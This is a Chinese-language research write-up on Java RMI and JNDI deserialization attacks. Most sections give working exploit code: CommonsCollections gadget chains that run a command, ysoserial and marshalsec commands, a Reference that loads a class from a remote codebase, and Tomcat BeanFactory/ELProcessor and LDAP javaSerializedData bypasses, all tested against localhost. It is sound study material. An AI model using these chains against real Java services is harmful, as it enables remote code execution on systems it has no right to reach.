前言

No。


RMI

Remote Method Invoke,翻译过来就是远程方法调用,从功能来说有点像远程 API 调用,客户端请求服务端提供的 API,服务器处理完成后将数据返回给客户端。

在 RMI 中存在三个角色:注册中心、服务端以及客户端。

在 RMI 的工作流程中,服务端编写一个继承了 Remote 类的接口以及一个继承了 UnicastRemoteObject 类的远程调用类,并在其中实现远程调用方法的逻辑代码,然后与注册中心建立 TCP 连接,将这个类实例化并注册到注册中心。客户端要调用服务端的远程方法时就会去访问注册中心,从注册中心处拿到服务端的信息,再调用服务端的远程方法。借用一张参考文章里面的图,流程大致如下:

一个简单的 RMI 使用测试代码如下,注册中心代码:

// App.java
public static void main( String[] args ) {
    try {
        LocateRegistry.createRegistry(1099);
        System.out.println("RMI Registry Start at port 1099");
    }catch(Exception e){
        e.printStackTrace();
    }
    while (true);
}
// RMIServerImpl.java
public interface RMIServerImpl extends Remote {
    String call()throws RemoteException;
}

服务端:

// App.java
public static void main( String[] args ) {
    try {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        registry.rebind("RMIServer", new RMIServer());
        System.out.println("RMI Registry Start at port 1099");
    }catch(Exception e){
        e.printStackTrace();
    }
}
// RMIServer.java(远程方法)
public class RMIServer extends UnicastRemoteObject implements Serializable, RMIServerImpl {
    RMIServer() throws RemoteException{}
    @Override
    public String call() {
        System.out.println("Call!");
        return "Here is Server Test!";
    }
}
// RMIServerImpl.java
public interface RMIServerImpl extends Remote {
    String call()throws RemoteException;
}

客户端:

// App.java
public static void main( String[] args ) throws RemoteException, NotBoundException {
    Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
    RMIServerImpl service = (RMIServerImpl)registry.lookup("RMIServer");
    System.out.println(service.call());
}
// RMIServerImpl.java
public interface RMIServerImpl extends Remote {
    String call()throws RemoteException;
}

在实际使用中,注册中心和服务端一般是放在一起的。

JRMP

暂时不研究,所以只放个网络上的概念在这里。

JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在 Java RMI 之下、TCP/IP 之上的线路层协议。该协议要求服务端与客户端都为 Java 编写,就像 HTTP 协议一样,规定了客户端和服务端通信要满足的规范。

RMI 攻击方式

为了接下来的测试,可以在三个地方都加上 apache-commons-collections 3.2.1 的依赖。

服务端攻击低版本 JDK 注册中心

在 RMI 的工作流程中,服务端要将一个对象绑定到注册中心,这个传输流程能让人想到什么?没错,就是 Java 序列化。

我们可以抓包看一看绑定过程中的数据传输:

很明显是一段序列化数据,所以注册中心在接收到这段注册数据的时候自然也会进行反序列化,这就会导致一个反序列化攻击的入口。但是要攻击成功还是需要注册中心本地存在可利用的反序列化 gadget。

接下来看看注册中心的注册流程,在调用 createRegistry 之后,会创建一个 ServerSocket 线程在该端口处监听 TCP 流量:

接收到数据后的处理代码在 executeAcceptLoop 函数中,不过这里不是这次的重点,重点的处理代码在之后的 handleMessages 函数中:

80 代表这是 Call 请求,服务端注册和客户端请求都是这个 transport op:

在 serviceCall 的调用中,后面会进入 RegistryImpl_Skel 类的 dispatch 函数,switch var3 后进行不同处理,var3 其实就是代表对注册中心请求种类的一个数字,rebind 函数发出的请求中 var3 就是 3,大概在流量包的这个地方:

或者也可以直接在源码中查看,rebind 以及 lookup 之类的方法定义都在 RegistryImpl_Stub 类中:

public void rebind(String var1, Remote var2) throws AccessException, RemoteException {
    try {
        StreamRemoteCall var3 = (StreamRemoteCall)this.ref.newCall(this, operations, 3, 4905912898345647071L);

        try {
            ObjectOutput var4 = var3.getOutputStream();
            var4.writeObject(var1);
            var4.writeObject(var2);
        }
        ...
    }
}

回到注册中心的处理来,在这里可以看到这里有一个反序列化操作:

在低版本 JDK 上,可以直接利用:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> map = new HashMap<>();
map.put("value", "Twings");
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler)constructor.newInstance(Retention.class, transformedMap);
Remote remote = (Remote)Proxy.newProxyInstance(RMIServer.class.getClassLoader(), RMIServer.class.getInterfaces(), annotationInvocationHandler);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.rebind("Hack", remote);

因为 rebind 需要第二个参数是 Remote 类型的,所以用动态代理转换一下,动态代理的第一个参数可以随意,反序列化攻击的过程不需要用到动态代理,第二个参数因为要转换成 Remote 类型所以需要 Remote,可以 getInterfaces 也可以直接 new Class[]{Remote.class}。

也可以直接使用 ysoserial 的 JRMPClient:

java -cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 calc

这个 payload 跟一般的服务端注册中心交互不同,走的是 DGC,具体我也没仔细研究过,不懂。高版本 JDK 中这里的反序列化会经过 DGCImpl 类里面 checkInput 方法的过滤,所以无法使用。

而同样的如果在高版本 JDK ( >= jdk8u121 )上面用 commons-collections 的 payload 去测试 rebind,会发现触发了一个反序列化白名单 WAF:

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

所以 gadget 基本上都用不了了,要寻找其他方法。

顺带一提的是,除了 rebind,在低版本 JDK 里面 bind 和 unbind 都是可以触发反序列化操作的,所以都可以用来攻击注册中心,而高版本 JDK 的 unbind 处理中将 readObject 改成了 readString,所以无法利用。bind 的攻击流程与 rebind 类似,而 unbind 的参数是 String 所以无法直接使用,攻击流程可以参考下面客户端使用 lookup 攻击。

客户端攻击低版本 JDK 注册中心

客户端 lookup 的源码如下:

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);

        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);
        } catch (IOException var15) {
            throw new MarshalException("error marshalling arguments", var15);
        }

        this.ref.invoke(var2);

        Remote var20;
        try {
            ObjectInput var4 = var2.getInputStream();
            var20 = (Remote)var4.readObject();
        } catch (IOException | ClassNotFoundException | ClassCastException var13) {
            var2.discardPendingRefs();
            throw new UnmarshalException("error unmarshalling return", var13);
        } finally {
            this.ref.done(var2);
        }

        return var20;
    }
    ...
}

后面的 readObject 可能会导致的客户端被反序列化攻击先不提,我们可以看到 lookup 方法的操作码是 2,而注册中心同样会对这种操作进行反序列化:

case 2:
    try {
        var10 = var2.getInputStream();
        var7 = (String)var10.readObject();
    }
    ...

所以理论上也可以通过客户端 lookup 攻击注册中心,只是有一个问题,lookup 方法的参数是 String,也无法使用代理,所以不能直接构造 payload。不过我们可以把 lookup 的代码提取出来进行攻击:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> map = new HashMap<>();
map.put("value", "Twings");
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler)constructor.newInstance(Retention.class, transformedMap);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint("127.0.0.1", 1099), false);
RemoteRef ref = new UnicastRef(liveRef);
RegistryImpl_Stub registryImpl_stub = new RegistryImpl_Stub(ref);
StreamRemoteCall streamRemoteCall = (StreamRemoteCall)registryImpl_stub.getRef().newCall(registryImpl_stub, operations, 2, 4905912898345647071L);
ObjectOutput objectOutput = streamRemoteCall.getOutputStream();
objectOutput.writeObject(annotationInvocationHandler);
registryImpl_stub.getRef().invoke(streamRemoteCall);

后面会因为强制转换为 String 而报错,不过没有关系,命令已经执行了。而在高版本 JDK 中(具体不知道是哪个版本),除了白名单 WAF 之外,case 2 的 readObject 反序列化操作会变成 readString,所以这种方式就无法使用了。

注册中心攻击客户端

就像上面看到的一样,客户端 lookup 会反序列化注册中心发回的数据,注册中心就可以以此攻击客户端。

这个操作也挺麻烦,因为注册中心要先 bind 才能回复客户端序列化数据,而 bind 就会触发注册中心的反序列化,导致一些奇奇怪怪的问题。所以要实现这种攻击,可能需要自己整一个注册中心。我这里为了方便,用 endorsed 将 RegistryImpl_Skel 类覆盖掉了,让 case 2 时直接返回序列化数据:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> map = new HashMap<>();
map.put("value", "Twings");
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler)constructor.newInstance(Retention.class, transformedMap);

try {
    ObjectOutput var9 = var2.getResultStream(true);
    var9.writeObject(annotationInvocationHandler);
    break;
} catch (IOException var88) {
    throw new MarshalException("error marshalling return", var88);
}

用高版本写了个 RegistryImpl_Skel 类打算覆盖注册中心,结果发现在这个类里引入 commons-collections 包生成 payload 会有问题,所以就把整个 commons-collections 包一起放进去了,然后打包生成 jar,放到高版本 JDK 目录下。

用高版本 JDK 启动注册中心,然后用低版本 JDK 启动客户端 lookup 一下,可以看到计算器弹出。因为客户端的反序列化并不会经过 registryFilter 函数,所以也可以改成 BadAttributeValueExpException 的 payload 来攻击高版本客户端,测试的时候最好用两个不同版本的 Java 来运行攻击方和被攻击方,我本地有 60、66、231、241 四个版本的 JDK 用于测试。

如果嫌麻煩,可以用 ysoserial:

java -cp  ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc

客户端攻击服务端

客户端从注册中心获取服务端的信息之后,就要将调用的方法名和参数一起发送到服务端,前面 lookup 获取的对象实际上是一个代理对象,处理代码在 UnicastRef 类的 invoke 函数中,发送数据的关键代码如下:

var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);

try {
    ObjectOutput var10 = var7.getOutputStream();
    this.marshalCustomCallData(var10);
    var11 = var2.getParameterTypes();

    for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
        marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
    }
} catch (IOException var41) {
    clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: ", var41);
    throw new MarshalException("error marshalling arguments", var41);
}

var7.executeCall();

这里将方法参数进行了序列化,而在服务端,接收数据的处理代码在 UnicastServerRef 类的 dispatch 方法中,关键代码如下:

try {
    this.unmarshalCustomCallData(var41);
    var9 = this.unmarshalParameters(var1, var42, var7);
} catch (AccessException var34) {
    ((StreamRemoteCall)var2).discardPendingRefs();
    throw var34;
} catch (ClassNotFoundException | IOException var35) {
    ((StreamRemoteCall)var2).discardPendingRefs();
    throw new UnmarshalException("error unmarshalling arguments", var35);
} finally {
    var2.releaseInputStream();
}

Object var10;
try {
    var10 = var42.invoke(var1, var9);
} catch (InvocationTargetException var33) {
    throw var33.getTargetException();
}

这里有一个对参数的反序列化处理,所以理论上可以通过操控客户端发送的参数数据,从而实现对服务端反序列化攻击。需要注意的一点是,服务端在反序列化取参数时,会有一个参数数量和参数类型的比较:

private Object[] unmarshalParametersUnchecked(Method var1, ObjectInput var2) throws IOException, ClassNotFoundException {
    Class[] var3 = var1.getParameterTypes();
    Object[] var4 = new Object[var3.length];

    for(int var5 = 0; var5 < var3.length; ++var5) {
        var4[var5] = unmarshalValue(var3[var5], var2);
    }

    return var4;
}
...
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
    if (var0.isPrimitive()) {
        if (var0 == Integer.TYPE) {
            return var1.readInt();
        } else if (var0 == Boolean.TYPE) {
            return var1.readBoolean();
        } else if (var0 == Byte.TYPE) {
            return var1.readByte();
        } else if (var0 == Character.TYPE) {
            return var1.readChar();
        } else if (var0 == Short.TYPE) {
            return var1.readShort();
        } else if (var0 == Long.TYPE) {
            return var1.readLong();
        } else if (var0 == Float.TYPE) {
            return var1.readFloat();
        } else if (var0 == Double.TYPE) {
            return var1.readDouble();
        } else {
            throw new Error("Unrecognized primitive type: " + var0);
        }
    } else {
        return var0 == String.class && var1 instanceof ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();
    }
}

所以只能攻击绑定的方法有参数,且类型为对象的服务端。这里我用 endorsed 修改了 UnicastRef 类的 invoke 方法:

Object[] parameterTypes = new Object[]{Object.class};

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings");
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
Field field = obj.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(obj, entry);

Object[] exp = new Object[]{obj};

for(int var12 = 0; var12 < (parameterTypes).length; ++var12) {
    marshalValue((Class)(parameterTypes)[var12], exp[var12], var10);
}

服务端攻击客户端

在客户端将方法名和参数传输过来,服务端执行完之后,会有一个向客户端写入序列化数据的操作:

try {
    ObjectOutput var11 = var2.getResultStream(true);
    Class var12 = var42.getReturnType();
    if (var12 != Void.TYPE) {
        marshalValue(var12, var10, var11);
    }
} catch (IOException var32) {
    throw new MarshalException("error marshalling return", var32);
}

而客户端也会将这些序列化数据反序列化处理:

Class var46 = var2.getReturnType();
if (var46 == Void.TYPE) {
    var11 = null;
    return var11;
}

var11 = var7.getInputStream();
Object var47 = unmarshalValue(var46, (ObjectInput)var11);
var9 = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
this.ref.getChannel().free(var6, true);
var13 = var47;

所以服务端可以以此来攻击客户端,此时客户端反序列化同样有限制,如果是 String,就会触发 ObjectInputStream 里面的报错:

if (type == String.class) {
    throw new ClassCastException("Cannot cast an object to java.lang.String");
}

而其他类型不会有问题(我测试了 Object 和 Integer),所以大部分有 return 的方法都可以用来攻击,同样用 endorsed 修改 UnicastServerRef 类的 dispatch 方法:

ObjectOutput var11 = var2.getResultStream(true);
Class var12 = var42.getReturnType();

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings");
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
Field field = obj.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(obj, entry);

if (var12 != Void.TYPE) {
marshalValue(var12, obj, var11);
}

攻击高版本 JDK(< 8u232_b09) 注册中心

如上文所说,高版本 JDK 的注册中心会有一个白名单 WAF,所以无法直接攻击。而 ysoserial 中有这么一个 payload,JRMPClient,他们的作用就是通过反序列化在注册中心处创建一个客户端去连接远程注册中心,再攻击客户端,从而绕开了注册中心的白名单。

payload 代码如下:

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
    port = new Random().nextInt(65535);
    host = command;
}
else {
    host = command.substring(0, sep);
    port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;

可以发现这些类都在白名单范围之内,这里的代码跟客户端 getRegistry 的代码类似:

Registry registry = null;

if (port <= 0)
    port = Registry.REGISTRY_PORT;

if (host == null || host.length() == 0) {
    try {
        host = java.net.InetAddress.getLocalHost().getHostAddress();
    } catch (Exception e) {
            host = "";
    }
}

LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint(host, port, csf, null), false);
RemoteRef ref = (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);

看起来功能应该差不多,但是客户端需要 lookup 发出请求才会受到攻击,我们先分析一下这个反序列化链的执行过程,首先是 UnicastRef 类的 readExternal:

this.ref = LiveRef.read(var1, false);

然后是 LiveRef 的 read 方法:

DGCClient.registerRefs(var2, Arrays.asList(var5));

然后是 DGCClient 的 registerRefs、makeDirtyCall 方法,最后到 DGCImpl_Stub 的 dirty 方法:

StreamRemoteCall var5 = (StreamRemoteCall)this.ref.newCall(this, operations, 1, -669196253586618813L);
...
try {
    ObjectInput var8 = var5.getInputStream();
    var22 = (Lease)var8.readObject();
} catch (IOException | ClassNotFoundException | ClassCastException var17) {
    if (var7 instanceof TCPConnection) {
        ((TCPConnection)var7).getChannel().free(var7, false);
    }

    var5.discardPendingRefs();
    throw new UnmarshalException("error unmarshalling return", var17);
} finally {
    this.ref.done(var5);
}

这里发起了连接,然后反序列化了返回的数据。我们可以通过 rebind 来攻击:

ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1098);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(App.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.rebind("RMIServer", proxy);

再在 1098 端口上跑一个 ysoserial 的 JRMPListener,然后就触发了另一个白名单 WAF:

return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;

查阅资料,发现 jdk8u232_b09 版本以后增加了对于返回的序列化对象的过滤条件,所以我本机上的两个高版本 JDK 已经打不通了,为了测试我就装多了一个 8u221 的版本,还是可以打通的。

在最新版本的 JDK 上,可能需要寻找其他利用方式或者其他反序列化利用链了。

JNDI

简单来说就是一个客户端的 API,以一个 Hashtable 作为参数,可以通过修改 Hashtable 来访问不同的服务端,服务端支持 RMI、LDAP 等等,借用一张参考文章的图:

简单的测试例子,JNDI 使用 RMI:

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:2333");
Context ctx = new InitialContext(env);
RMIServerImpl rmiServer = (RMIServerImpl)ctx.lookup("rmi://127.0.0.1:1099/RMIServer");
System.out.print(rmiServer.call());

JNDI 注入

之前 Fastjson 反序列化也有这种利用方式,通过控制 lookup 的参数,让 JNDI 加载远程数据从而完成攻击。

JDK < 8u121

服务端向注册中心注册一个 Naming Reference,将 Codebase 远程地址指定为一个 web 服务器,JNDI 就会去该 web 服务器处加载恶意 class,实例化并执行其构造函数。攻击代码如下:

Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://127.0.0.1:2333/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("RMIServer", referenceWrapper);
System.out.println("Bind");

JDNI 执行的关键函数在 NamingManager 类的 getObjectFactoryFromReference 函数中:

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
        clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {

        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

从 Reference 里面获取 codebase,即远程加载类的路径,然后加载远程 class,最后实例化造成 RCE。

JDK < 8u191

系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,禁止从远程 codebase 加载 Factory,所以 RMI + JNDI Reference 的利用方式就无法使用了。

RMI 不能用了,LDAP 还是可以用的,执行流程跟 RMI 相似,也可以使用 Reference,修改客户端 lookup 的参数,然后用 marshalsec 启动一个 LDAP 的Reference 服务器:

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/#Exploit 1389

高版本 JDK

com.sun.jndi.ldap.object.trustURLCodebase 的值也变成了 false,LDAP + JNDI Reference 的利用方式也无法使用了。

现在绕过的方式主要有两种,利用本地类作为 Factory、利用 LDAP 返回序列化数据进行反序列化攻击。

本地类作为 Factory

不能从远程加载 Factory,但是可以指定一个本地类作为 Factory,它需要满足几个条件:

  • 继承 ObjectFactory
// DirectoryManager.java getObjectInstance
ObjectFactory factory;
  • 有无参构造函数或无构造函数
// NamingManager.java getObjectFactoryFromReference
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
  • 存在 getObjectInstance 方法
// DirectoryManager.java getObjectInstance
if (factory instanceof DirObjectFactory) {
    return ((DirObjectFactory)factory).getObjectInstance(ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
    return factory.getObjectInstance(ref, name, nameCtx, environment);
}

在 Tomcat 依赖包中就存在一个类 org.apache.naming.factory.BeanFactory 满足这个条件,用 maven 下载依赖:

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>9.0.17</version>
</dependency>

其 getObjectInstance 方法很长,我放关键代码在这里:

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {

    if (obj instanceof ResourceRef) {
           try {
            Reference ref = (Reference) obj;
            String beanClassName = ref.getClassName();
            Class<?> beanClass = null;
            ClassLoader tcl = Thread.currentThread().getContextClassLoader();
            if (tcl != null) {
                try {
                    beanClass = tcl.loadClass(beanClassName);
                } catch(ClassNotFoundException e) {
                }
            } else {
                try {
                    beanClass = Class.forName(beanClassName);
                } catch(ClassNotFoundException e) {
                    e.printStackTrace();
                }
            }
            ...
            Object bean = beanClass.getConstructor().newInstance();

            /* Look for properties with explicitly configured setter */
            RefAddr ra = ref.get("forceString");
            Map<String, Method> forced = new HashMap<>();
            String value;

            if (ra != null) {
                value = (String)ra.getContent();
                Class<?> paramTypes[] = new Class[1];
                paramTypes[0] = String.class;
                String setterName;
                int index;

                /* Items are given as comma separated list */
                for (String param: value.split(",")) {
                    param = param.trim();
                    /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                    index = param.indexOf('=');
                    if (index >= 0) {
                        setterName = param.substring(index + 1).trim();
                        param = param.substring(0, index).trim();
                    }
                    ...
                    try {
                        forced.put(param, beanClass.getMethod(setterName, paramTypes));
                    }
                    ...
                }
            }

            Enumeration<RefAddr> e = ref.getAll();

            while (e.hasMoreElements()) {

                ra = e.nextElement();
                String propName = ra.getType();
               ...
                value = (String)ra.getContent();

                Object[] valueArray = new Object[1];

                /* Shortcut for properties with explicitly configured setter */
                Method method = forced.get(propName);
                if (method != null) {
                    valueArray[0] = value;
                    try {
                        method.invoke(bean, valueArray);
                    } 
                    ...
                    continue;
                }
                ...
            }
            return bean;
        }
        ...
    } else {
        return null;
    }
}

通过设置 forceString,我们可以调用一个类的 public 方法,但是要求它的参数是一个 String。这里用 javax.el.ELProcessor 类来做测试,以一个 EL 表达式为参数调用它的 exec 方法就可以实现 RCE:

Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "Twings=eval"));
resourceRef.add(new StringRefAddr("Twings", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.rebind("RMIServer", referenceWrapper);
System.out.println("Bind");
LDAP 返回序列化数据

LDAP 客户端在接收到服务端的数据之后,会有一个 decodeObject 的操作:

if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
    var3 = Obj.decodeObject((Attributes)var4);
}

然后如果数据中 javaSerializedData 不为空,会有一个反序列化操作:

if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
    ClassLoader var3 = helper.getURLClassLoader(var2);
    return deserializeObject((byte[])((byte[])var1.get()), var3);
}

所以可以以此来利用客户端存在的 gadget 来反序列化攻击,修改 LDAPRefServer,加上 javaSerializedData:

e.addAttribute("javaSerializedData", Base64.decode("rO0A..."));

// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
// e.addAttribute("javaFactory", this.codebase.getRef());

参考文章:

https://www.anquanke.com/post/id/194384

https://www.freebuf.com/column/189835.html

https://xz.aliyun.com/t/7079

https://xz.aliyun.com/t/7264

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://xz.aliyun.com/t/2479